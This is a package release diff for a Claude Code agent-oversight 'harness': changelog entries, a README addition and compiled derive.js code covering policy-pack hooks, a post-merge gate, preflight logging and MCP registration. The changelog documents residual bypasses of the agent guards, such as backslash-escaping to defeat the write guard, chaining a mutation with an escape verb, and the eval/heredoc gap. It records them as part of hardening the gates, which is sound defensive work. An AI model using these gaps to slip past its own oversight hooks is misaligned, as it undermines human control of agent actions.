npm behavior: `Unknown cli config "--fix"`, report only); and the module header / relevant docstrings were reworded from enumerating expansions in a way that read as exhaustive to stating explicitly what they DO cover and naming the still-open residual (backslash-escaping a leaf character defeats the textual match under both `cd` and non-`cd` commands alike — pre-existing, needs shell-unescaping in `bashReferencesVerdictDir` to close, out of this task's scope).
+  - New tests: `tests/runtime/read-only-bash.test.ts`, `tests/runtime/risk-classifier.test.ts`, `tests/cli/pack-hook-solution-acceptance-writeguard.test.ts` (round 1: 7-spelling + discriminating-pair + near-miss cases; round 2: 6 brace-form negatives + 1 split-leaf negative + the quote-stripped decoy pin). Docs: `docs/risk-gate.md`, `docs/policy-packs/understanding-before-execution.md`.
+- **`fast-uri` HIGH advisory (GHSA-v2hh-gcrm-f6hx) closed via a lockfile refresh; `@lannguyensi/understanding-gate` ends this window pinned to `^0.4.9`, after a same-day detour through an exact `0.4.5` pin** (PRs #366, #367). The advisory (host confusion via a literal backslash authority delimiter, fast-uri 3.0.0-3.1.3) reached the harness tree via `understanding-gate -> ajv -> fast-uri`; ajv already declared `fast-uri: ^3.0.1`, which permits the fixed 3.1.4, so refreshing the lockfile pin closed the advisory — no `package.json` change was needed for the advisory itself. Bumping `understanding-gate` itself (0.4.5 -> ^0.4.7, resolving 0.4.8) was evaluated and REJECTED on evidence: it shares the same `ajv: ^8.12.0` constraint (doesn't touch the advisory) and breaks `tests/cli/approve-understanding.test.ts` (persisted `taskId` comes back as the `sessionId`; bisected 0.4.6 green, 0.4.7/0.4.8 red). PR #366 pinned `understanding-gate` to an EXACT `0.4.5` to hold that line through `npm install`/`npm update`, not just `npm ci` (`~0.4.5` still admits the broken 0.4.7). PR #367 lifted the pin once `understanding-gate` 0.4.9 shipped: it restores the documented gap-fill contract for `defaults.taskId` (agent-grounding PR #153) with its own regression test, so the consumer suite is no longer the only detector — verified via `tests/cli/approve-understanding.test.ts` 70/70 against 0.4.9 plus a full preflight run.
+- **`postcss` HIGH advisory (GHSA-r28c-9q8g-f849) closed via `npm audit fix`** (PR #374). `postcss` <= 8.5.17 is vulnerable to path traversal via `sourceMappingURL` auto-loading, disclosing arbitrary `.map` files; it reaches this repo transitively as a dev dependency only (`vitest 4.1.8 -> vite 8.0.16 -> postcss 8.5.15`). Closed non-breaking: `postcss` 8.5.15 -> 8.5.23 and its `nanoid` dependency 3.3.12 -> 3.3.16, no `package.json` change and no override introduced. `npm audit` now reports 0 vulnerabilities; this also unblocked this repo's own `harness preflight`, whose npm-audit check had been failing on exactly this advisory.
+
+### Added
+
+- **Third `SessionStart` companion: a toolchain-parity snapshot, advisory-only, compared against peer machines** (task `5427fe54`, PR #368). Alongside the existing preflight and branch-check `SessionStart` hooks, it writes this machine's toolchain snapshot (PATH-resolved node version, npm globals, OW-Kit manifest version, MCP server names) to the machine-state directory synced by `agent-memory-sync`, compares the live local state against every peer snapshot found there, and reports drift as warn lines plus a `toolchain-parity:ok|drift:<n>` ledger fact. Disabled by default behind a new optional `toolchain_parity` manifest block; every failure path logs and exits 0 rather than blocking the session. Both new spawns are injectable and registered in the hermetic spawn guard. A same-PR review note documented the constraint that profile names must stay unique after filename sanitization (`[^a-zA-Z0-9._-]` -> `-`), naming plain names like `mac-mini`/`macbook` as safe — this is a docs-only clarification, not a code fix: `sanitizeProfileName` gained no collision guard (LOW-1). `check:duplication`'s `MAX_CLONES` pin moved 86 -> 95: the CLI option-parsing wiring joins the existing clone cluster shared verbatim with the sibling hooks (justified in `scripts/check-duplication.mjs`). New tests: 32 hermetic tests covering ok, drift, missing/corrupt peers, unconfigured, and spawn-degradation cases. Docs: `docs/CLI.md`, `docs/examples/full-manifest.expected.yaml`.
+- **New opt-in `post-merge-gate` policy pack: denies mutating git/gh work on a branch whose tip has already been merged** (task `d368e30d`, PR #369). A `PostToolUse` producer records the merged branch tip only on a confirmed `gh pr merge` success (`tool_output.exit_code === 0`, a defensive payload read, the trusted ledger writer), and a `PreToolUse` blocker denies a curated git/gh mutation list once the current branch tip exactly matches a recorded merged tip. An escape allowlist (`git switch`/`checkout`/`pull`/`fetch`/`branch -d`/`-D`/`stash list`/`show`, harness verbs) is checked first, unconditionally, before any manifest or ledger access, and the gate fails open with a warning when the ledger is unavailable. Exact-sha matching keeps it squash-safe and avoids false positives on post-merge commits or recycled branch names. `resolveOriginHeadBase`/`resolveCommonDir` moved to the new `src/runtime/git-context.ts` for reuse; MCP-side merges stay a documented gap. Ships disabled (`FULL_TEMPLATE enabled: false`). A same-PR review round named two accepted residuals in `docs/policy-packs/post-merge-gate.md`: a curated mutation chained with an escape verb is allowed whole (the same accepted class as the existing eval/heredoc gap), and a hand-written merged fact matching the current tip denies curated mutations on that branch, recoverable via any escape or a new commit. `check:duplication`'s `MAX_CLONES` pin moved 95 -> 102 (sibling-pack wiring shape, no cross-verb extraction possible).
+  - **Fixed the same day (PR #370): the documented `tool_output.exit_code` producer contract never actually fires on real Claude Code.** Live verification on Claude Code 2.1.218 (a real hook fire against an isolated settings probe) showed the `PostToolUse` payload is `tool_response` — `{stdout, stderr, interrupted, isImage, noOutputExpected}`, no exit code at all — so the producer shipped in PR #369 was silently inert against the actual runtime. Contract A (`tool_output.exit_code === 0`) stays authoritative and short-circuits when present; a new Contract B confirms via `tool_response` with `interrupted: false` and `gh`'s past-tense success line, matching both the real glued `owner/repo#N` shape (source-verified against `gh` v2.94.0's `merge.go:369-376`, which writes success to stderr via `infof`) and the bare `#N` doc shape. Auto-merge-pending and already-merged warnings are pinned as negatives against `gh`'s exact wording. The real 2.1.218 payload is committed as a drift-guard fixture (`tests/fixtures/post-merge-gate/real-posttooluse-payload-2.1.218.json`).
+  - New tests: `tests/cli/pack-hook-post-merge-gate.test.ts`, `tests/cli/pack-hook-post-merge-gate-record.test.ts`, `tests/policy-packs/post-merge-gate-expand.test.ts`, `tests/policy-packs/post-merge-gate-runtime.test.ts` (escape-first ordering, chained-escape and inverted-trust-boundary pins, both payload contracts, the fixture-driven drift guard). Docs: `docs/policy-packs/post-merge-gate.md`.
+- **CI now fails fast on a committed `.only` under `tests/`** (task `b4845053`, follow-up of task `052f9d5b` review round 4, PR #372). `vitest` with `CI=true` (`allowOnly=false`) reports an unexpected `.only` but still exits 0 for some file shapes, and a `describe.only` whose selected tests are all skipped disables both layers of the hermetic-spawn backstop at once. The new `scripts/check-no-only.mjs` parses `tests/**/*.{ts,mts,cts}` with the TypeScript compiler API and flags `.only` property accesses rooted at a bare `describe`/`it`/`test` identifier, so chained modifiers and `.each` variants are caught while strings, comments, and test names structurally cannot trip it. Wired as `check:no-only`, a fail-fast CI step before Build, ~0.9s for the whole test tree. A same-PR review round added the vitest options-object form (`it(name, { only: true }, fn)`, a documented way to activate only-mode that defeated the property-access gate the same way) and hardened the check's CLI with an `isDirectRun` guard and in-process tests (exit code + `file:line` output); accepted known bypasses (bracket/computed access, an aliased holder, a renamed import, `bench.only`, and the options form reached through a chained call) are documented in the script itself.
+- **`harness preflight`'s `SessionStart` producer now persists the full failing run to a log file, and the not-ready message names which checks failed** (task `31fbf856`, PR #356). On a real `ready !== true` outcome, the producer writes the complete `preflight run --json` payload (pretty-printed) to `~/.harness/logs/preflight-<repo>-<timestamp>.json` (an injectable `logDir` seam) and keeps only the last 20 `preflight-*.json` files per rotation, leaving any foreign files in that directory untouched. The `SessionStart` fail message itself now surfaces up to 3 detail lines per failing check plus a trailing `; log: <path>` pointer, instead of just the bare check name. The `ready:true` and spawn-error branches are unchanged, and every new file-IO path degrades to a note on failure rather than breaking the `SessionStart` `blocking:false` / exit-0 contract. A companion root-fix to `agent-preflight`'s own output capping is tracked separately as task `6691dd56`. New tests: `tests/cli/session-start/preflight.test.ts`.
+- **New `harness record` CLI verbs write gate evidence directly into the session ledger for `review`, `review-subagent`, and `dogfood`** (agent-tasks task `27ba3570`, PR #357). Each verb writes one multi-tag fact, mirroring the existing preflight producer: `review` writes `review:<pr>` + `review:<branch>` + `review:<base>`; `review-subagent` writes `review-subagent:<task>` + `review-subagent:<branch>` + a verdict tag; `dogfood` writes `dogfood:<session>`. Branch resolution shares `resolveGitContext` with the gates that consume these tags; base resolution tries `--base`, then an `origin/HEAD` filesystem fallback, then omits loudly rather than guessing — a review follow-up made that fallback resolve `origin/HEAD` through a linked worktree's commondir file too, so a worktree checkout no longer silently degrades to omit-with-warning. The manifest -> `grounding-mcp` ledger-writer wiring was extracted into the new `src/runtime/ledger-writer.ts`, shared unchanged with `session-start`. The evidence-gate `ux.run` hints across all four manifest sources (`templates.ts`, `composer.ts`, `profiles.ts`, `docs/examples/full-manifest.yaml`) now point at the `record` verbs instead of the old hand-written instructions. An invalid `--ledger-timeout` now warns instead of silently falling back. New tests: `tests/cli/record/record.test.ts`, `tests/cli/record/record-alias.test.ts`, `tests/e2e/record-roundtrip.test.ts` (real record runners feeding the real intercept path, both merge surfaces, empty-ledger deny counter-checks). Docs: `docs/CLI.md` (tag-semantics table, merge-surface trap, `--base` guidance), `docs/okf/evidence-ledger-trust-boundary.md` (re-verification pass).
+- **`harness uninstall --apply` (and `--restore-from`) now deregisters harness-owned MCP servers from the live `claude mcp` registry, not just the `settings.json` block** (task `d6086441`, PR #361). It calls `claude mcp remove --scope user` for harness-owned names (`DEFAULT_OWNED_MCP_SERVERS` union the manifest's `tools.mcp[]` names) that are actually registered in the live user-scope registry — read-only checked via `readTopLevelMcpServers` first, never a blind iteration — and foreign registrations are never touched. `--dry-run` lists the planned removals with zero exec calls. `cli-missing` and per-name failures never hard-fail: outcomes land in inventory warnings with copy-pasteable `manualRemoveLines` fallback commands, and the result distinguishes a partial success (settings.json cleaned, registry removal failed or skipped) from a complete one; a registry read error removes nothing. `uninstall()` is now async; its only in-repo caller (the CLI command) awaits it and prints the new registry fields. A review-round fix seatbelted the registry axis the same way `stateDir` already is: an explicit `homeDir` or an injected `mcpExec` each neutralize the risk on their own, and absent both, only `HARNESS_ALLOW_REAL_GENERATED_DIR=1` unlocks it (set by `src/cli/main.ts` for the real binary, so production behavior is unchanged) — a blocked run skips the axis entirely, including the read, and reports an empty list plus a warning. New tests: `tests/cli/uninstall/uninstall.test.ts` (seatbelt blocked/env-unlocked/homeDir-unlocked cases, and a `--restore-from` case asserting the exact `claude mcp remove` argv). Docs: `docs/examples/pandora-bootstrap.md` (rollback steps and the manual fallback).
+
+### Fixed
+
+- **`harness init`'s MCP-server registration now writes to the surface Claude Code actually reads, instead of a dead `settings.json` block** (task `init-mcp-wiring-claude-code`). Every prior `harness init --interactive` run projected `tools.mcp[]` into user-level `~/.claude/settings.json`'s `mcpServers` key; Claude Code does not consume that key for user-scope registration and never has — the effective registry is `~/.claude.json`, previously reachable only by hand-running `claude mcp add-json`. The wizard now registers every enabled `tools.mcp[]` server there directly, via `claude mcp add-json --scope user` (new `ensureMcpServers` in `src/io/claude-mcp.ts`, a thin injectable-exec wrapper around `claude mcp add-json/remove/get/list`), right after the hooks apply step, then migrates away the dead settings.json block — but only once registration has actually succeeded, so a missing `claude` CLI leaves existing state untouched and prints copy-pasteable `claude mcp add-json` commands instead of failing or silently doing nothing. `generate-settings.ts` no longer projects `mcpServers` into settings.json at all (the translated spec map is exposed via `GenerateSettingsResult.mcpServers` for the new registration path instead). `harness doctor` gained a "Claude Code MCP Registration" section that re-verifies the live registry via `claude mcp list` and flags a leftover dead settings.json block. **Known limitations, tracked as follow-ups, not fixed by this task:** no removal GC — toggling a `tools.mcp[]` entry to `enabled: false` (or deleting it from the manifest) does not deregister an already-registered server (since closed in this same Unreleased batch by task `363a6de0`, see below); no `uninstall` symmetry — `harness uninstall` still only cleans the settings.json block, not the live `claude mcp` registration it now creates (since closed by task `d6086441`, see the Added section above); `harness init --probe`'s detection and `harness adopt`'s MCP drift check still read the (now largely dead) settings.json block rather than the live registry (since closed in this same 0.42.0 batch by task `83d8d03a`, see below). New tests: `tests/io/claude-mcp.test.ts` (43 cases), plus updates to `tests/cli/init-interactive.test.ts`, `tests/cli/apply/apply.test.ts`, `tests/cli/apply/generate-settings.test.ts`, `tests/cli/adopt.test.ts`, `tests/cli/doctor-claude-mcp.test.ts` (new), and `tests/cli/doctor.test.ts`. Docs: `docs/ARCHITECTURE.md`, `docs/examples/pandora-bootstrap.md`, `README.md`, `docs/okf/debug-verb-selection.md`.
+- **`harness init --interactive`'s claude-code wire-now step now deregisters a `tools.mcp[]` server that was removed or disabled from the manifest, closing the "no removal GC" gap the `init-mcp-wiring-claude-code` entry above tracked as a known limitation** (task `363a6de0`). Every ensure run used to only add/replace `desired` servers, never remove one that fell out of `desired` — an operator who deleted or disabled a `tools.mcp[]` entry had to run `claude mcp remove` by hand. `ensureMcpServers` (`src/io/claude-mcp.ts`) gains an opt-in `gc: { ownedNames }` option: after reconciling `desired`, it additionally `claude mcp remove`s any name in `ownedNames` that is still registered but no longer in `desired`; omitting `gc` leaves behavior exactly as before. **Ownership criterion (read this before relying on it):** the wizard passes `ownedNames` = the CURRENT manifest's `tools.mcp[]` names UNION the `tools.mcp[]` names from the `.last-apply` manifest snapshot captured **before** this run's `apply()` executes (`apply()` re-stamps `.last-apply` with the just-edited manifest whenever anything changed — including an edit that also touches a hook — so capturing the snapshot first is what lets a combined "remove this MCP + change this hook" edit still GC the dropped server correctly). The uninstall module's `DEFAULT_OWNED_MCP_SERVERS` list (`agent-tasks`, `codebase-oracle`, `grounding-mcp`) is **deliberately excluded** from GC eligibility: a server sharing one of those names that the operator registered themselves — outside of, or before, any harness manifest on this machine — is never touched, because "shares a default name" is not the same claim as "this install's manifest once had it." A manifest entry that's merely drifted (registered content differs from the manifest spec) but is STILL present in `desired` is never a GC candidate either, regardless of ownership — the existing add/replace path re-syncs it instead. No snapshot available (fresh install, or a corrupt/pre-snapshot `.last-apply`) degrades conservatively to manifest-only ownership, never a guess. A repeat run with no manifest change makes zero additional `claude mcp remove` calls (same idempotence bar as the add/replace path); a `claude` CLI that's missing, times out, or the registry being unreadable are all reported as a warning with copy-pasteable `claude mcp remove --scope user <name>` fallback commands (new `manualRemoveLines` in `src/io/claude-mcp.ts`), never a hard failure. New tests: 9 cases added to `tests/io/claude-mcp.test.ts` (7 for the `gc` option — remove branch with exact commands, ownership boundary, still-desired/drifted-content protection, idempotence, registry-read-error, cli-missing, gc-omitted-is-unchanged — plus 2 for `manualRemoveLines`), plus 5 new wizard-level tests in `tests/cli/init-interactive.test.ts` (the `.last-apply` snapshot union, the conservative no-snapshot fallback, the `DEFAULT_OWNED_MCP_SERVERS`-exclusion guard across a profile switch, an apply-succeeds MCP-only edit, and a combined MCP-removal + new-pack/hook edit). Docs: `docs/ARCHITECTURE.md`.
+- **`persistStdinReport`'s parse-error log now carries `malformedSections`; the schema hint spells out the `(list)` rule** (task `7e29e5d7`, externalRef `be98cd96:followup-harness-log-field`, follow-up to agent-grounding PR #154, PR #373). `understanding-gate`'s `ParseError` grew an optional `malformedSections` field (a `(list)` section is present but its body is prose); `persistStdinReport` now carries it into the parse-error log with a defensive `?? []` default, harmless against the pinned 0.4.x line. `renderReportSchemaHint` now states explicitly that `(list)` sections need markdown list items (`'- '` or `'1.'`) and that prose bodies are rejected — the stumbling block of the 2026-07-22 live incident. New tests: `tests/cli/approve-stdin-report.test.ts`, `tests/cli/pack-understanding-report-schema-hint.test.ts`.
+- **`harness adopt`'s MCP drift check and `harness init --probe`'s team/full detection now read the effective Claude Code user-scope registry instead of the dead `settings.json` block** (task `83d8d03a`, PR #358, closes a known limitation the `init-mcp-wiring-claude-code` entry above named). Both consumers now share the exported `readTopLevelMcpServers` primitive to read the live, top-level `mcpServers` block in `~/.claude.json` (`CLAUDE_CONFIG_DIR`-aware) — no new writer on `~/.claude.json` and no `claude` CLI spawn in either path. The dead `settings.json` block is still detected, but surfaced only as a cleanup warning, never mistaken for drift. `AdoptResult` gains `deadSettingsMcpNames` and `registryReadError`; `detect` gains `mcpRegistryParseError` and drops the now-dead `settingsParseError` field. New tests: updates to `tests/cli/adopt.test.ts`, `tests/cli/init-detect.test.ts`, `tests/cli/init-interactive.test.ts`, `tests/cli/program.test.ts`.
+- **All 8 OKF knowledge-bundle docs were re-verified against current sources, with several corrections substantive rather than just line-number drift** (PR #353, task `93c004a6`, first upkeep sweep after the warn-only staleness watch went live).
+
 ## [0.41.0] - 2026-07-16
 
 ### Security

package/README.md

@@ -144,6 +144,15 @@ profile (`solo` / `team` / `full` / `custom`) and writes a starting
 `harness.yaml`. Ctrl-C aborts cleanly. Walkthrough +
 limitations: [`docs/init-interactive.md`](docs/init-interactive.md).
 
+Every enabled `tools.mcp[]` server is then registered with Claude
+Code via `claude mcp add-json --scope user` — the surface Claude Code
+actually reads for user-scope MCP servers; harness itself never
+writes `~/.claude.json`. This step requires the `claude` CLI on
+`$PATH`; if it's missing, the wizard warns and prints the equivalent
+`claude mcp add-json` commands to run by hand instead of failing.
+`harness doctor` includes a "Claude Code MCP Registration" section
+that re-verifies the live registration via `claude mcp list`.
+
 ### Profiles at a glance
 
 | Profile | External accounts / tools required | Best for |

package/dist/cli/adopt/derive.d.ts

@@ -60,6 +60,21 @@ export interface SettingsRootWithMcp extends SettingsRoot {
     mcpServers?: Record<string, SettingsMcpSpec>;
 }
 export declare function parseSettingsMcpServers(raw: unknown): DerivedMcp[];
+/**
+ * Project the effective Claude Code user-scope MCP registry — the
+ * top-level `mcpServers` map of `~/.claude.json` /
+ * `$CLAUDE_CONFIG_DIR/.claude.json`, read read-only via
+ * `readTopLevelMcpServers` in io/claude-mcp.ts — into the same flat
+ * `DerivedMcp[]` shape `parseSettingsMcpServers` produces for the (dead)
+ * settings.json block, so `computeMcpDrift` can diff either source
+ * against the manifest projection uniformly.
+ *
+ * D-101: this is now the ONLY source `adopt` uses to compute MCP drift,
+ * regardless of the `<file>` CLI argument — settings.json's own
+ * `mcpServers` block (still parsed by `parseSettingsMcpServers` above) is
+ * dead at runtime and is surfaced only as a warning, never as drift.
+ */
+export declare function projectRegistryMcpServers(servers: Record<string, unknown>): DerivedMcp[];
 export declare function manifestMcpProjection(manifest: Manifest, homeDir?: string): DerivedMcp[];
 export type McpDriftReason = "new" | "modified";
 export interface McpDriftEntry {

package/dist/cli/adopt/derive.js

@@ -99,14 +99,16 @@ export function synthesizeName(d, taken) {
 function isRecord(x) {
     return typeof x === "object" && x !== null && !Array.isArray(x);
 }
-export function parseSettingsMcpServers(raw) {
-    if (!isRecord(raw))
-        return [];
-    const root = raw;
-    if (!isRecord(root.mcpServers))
-        return [];
+/**
+ * Shared per-entry projection: a raw `{ name -> spec }` map (settings.json's
+ * `mcpServers` block, or the registry's top-level `mcpServers` key) into the
+ * flat `DerivedMcp[]` shape both `parseSettingsMcpServers` (dead-block
+ * warning, task 83d8d03a) and `projectRegistryMcpServers` (the actual
+ * drift source, D-101) need identically.
+ */
+function projectMcpServersRecord(entries) {
     const out = [];
-    for (const [name, specRaw] of Object.entries(root.mcpServers)) {
+    for (const [name, specRaw] of Object.entries(entries)) {
         if (!isRecord(specRaw))
             continue;
         const spec = specRaw;
@@ -130,6 +132,31 @@ export function parseSettingsMcpServers(raw) {
     }
     return out;
 }
+export function parseSettingsMcpServers(raw) {
+    if (!isRecord(raw))
+        return [];
+    const root = raw;
+    if (!isRecord(root.mcpServers))
+        return [];
+    return projectMcpServersRecord(root.mcpServers);
+}
+/**
+ * Project the effective Claude Code user-scope MCP registry — the
+ * top-level `mcpServers` map of `~/.claude.json` /
+ * `$CLAUDE_CONFIG_DIR/.claude.json`, read read-only via
+ * `readTopLevelMcpServers` in io/claude-mcp.ts — into the same flat
+ * `DerivedMcp[]` shape `parseSettingsMcpServers` produces for the (dead)
+ * settings.json block, so `computeMcpDrift` can diff either source
+ * against the manifest projection uniformly.
+ *
+ * D-101: this is now the ONLY source `adopt` uses to compute MCP drift,
+ * regardless of the `<file>` CLI argument — settings.json's own
+ * `mcpServers` block (still parsed by `parseSettingsMcpServers` above) is
+ * dead at runtime and is surfaced only as a warning, never as drift.
+ */
+export function projectRegistryMcpServers(servers) {
+    return projectMcpServersRecord(servers);
+}
 export function manifestMcpProjection(manifest, homeDir) {
     const out = manifest.tools.mcp.map(toDerivedMcp);
     // Mirror apply's grounding projection (generate-settings.ts,

package/dist/cli/adopt/derive.js.map

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+{"version":3,"file":"derive.js","sourceRoot":"","sources":["../../../src/cli/adopt/derive.ts"],"names":[],"mappings":"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